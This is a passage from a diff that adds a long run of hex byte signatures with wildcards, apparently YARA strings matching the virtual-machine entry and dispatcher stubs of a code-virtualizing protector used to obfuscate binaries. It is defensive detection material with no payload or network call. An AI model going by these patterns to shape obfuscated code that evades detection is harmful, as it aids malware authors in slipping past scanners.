+		$499 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 55 50 52 9C 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$500 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 52 56 53 50 55 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$501 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 50 57 53 56 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$502 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 56 50 52 57 57 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$503 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 53 55 57 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$504 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 53 9C 57 55 51 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$505 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 51 50 55 53 56 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$506 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 53 56 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$507 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 57 53 56 9C 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$508 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 53 50 9C 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$509 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 9C 53 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+		$510 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 56 51 50 9C 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$511 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 50 56 51 57 56 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$512 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 56 9C 57 50 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$513 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 55 57 51 56 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$514 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 56 57 51 50 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$515 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 51 56 52 56 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$516 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 57 52 51 9C 53 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$517 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 51 56 52 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$518 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 50 9C 53 56 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$519 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 51 52 53 53 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$520 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 51 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$521 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 57 53 56 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$522 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 9C 57 52 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$523 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 57 51 55 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$524 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 52 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$525 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 53 9C 57 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$526 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 51 55 9C 50 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+		$527 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 51 9C 52 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$528 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 52 51 55 57 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$529 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 57 54 53 9C 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$530 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 57 51 9C 50 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$531 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 55 9C 56 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+		$532 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 56 55 50 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$533 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 9C 56 53 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$534 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 56 55 55 9C 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$535 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 54 53 9C 55 52 50 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$536 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 52 56 50 53 56 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$537 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 53 52 50 55 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+		$538 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 51 56 57 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$539 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 52 51 55 56 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$540 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 56 56 50 55 51 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$541 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 57 52 51 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$542 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 51 53 55 56 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+		$543 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 52 55 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$544 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 55 57 52 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5D 9D 5A 5F 5D 5B 5E 59 58 C3}
+		$545 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 52 51 55 55 56 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$546 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 51 55 57 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$547 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 52 53 51 55 9C 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$548 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 52 53 57 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$549 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 57 53 55 56 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$550 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 50 55 56 53 9C 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$551 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 9C 50 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5D 5B 58 9D 5A 5E 59 59 C3}
+		$552 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 51 56 51 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$553 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 56 55 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$554 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 54 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$555 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 9C 52 57 55 50 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$556 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 51 52 50 51 9C 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+		$557 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 56 51 50 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$558 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 51 9C 50 57 53 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$559 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 53 50 9C 57 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$560 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 52 57 50 55 53 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$561 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 52 53 52 51 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$562 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 50 53 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$563 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 52 9C 52 51 57 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$564 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 52 9C 55 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$565 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 52 9C 50 51 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$566 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 56 53 51 55 9C 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$567 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 57 55 52 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 83 ED 02 66 89 45 00 46 E9}
+		$568 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 50 9C 53 50 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$569 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 51 9C 55 52 53 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$570 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 50 51 56 55 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$571 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 53 55 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$572 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 55 54 52 51 9C 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$573 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 51 52 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$574 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 57 53 51 52 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 5E 59 5D 5A 59 5B 5F 58 9D C3}
+		$575 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 55 56 56 57 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$576 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 50 52 56 51 50 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5B 5A 59 5E 5A 58 5D 9D C3}
+		$577 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 52 56 53 57 51 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$578 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 56 53 57 52 51 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$579 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 53 51 55 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+		$580 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 54 57 56 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$581 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 55 53 57 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$582 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 51 57 9C 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$583 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 55 56 50 53 9C 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+		$584 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 53 55 9C 55 56 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
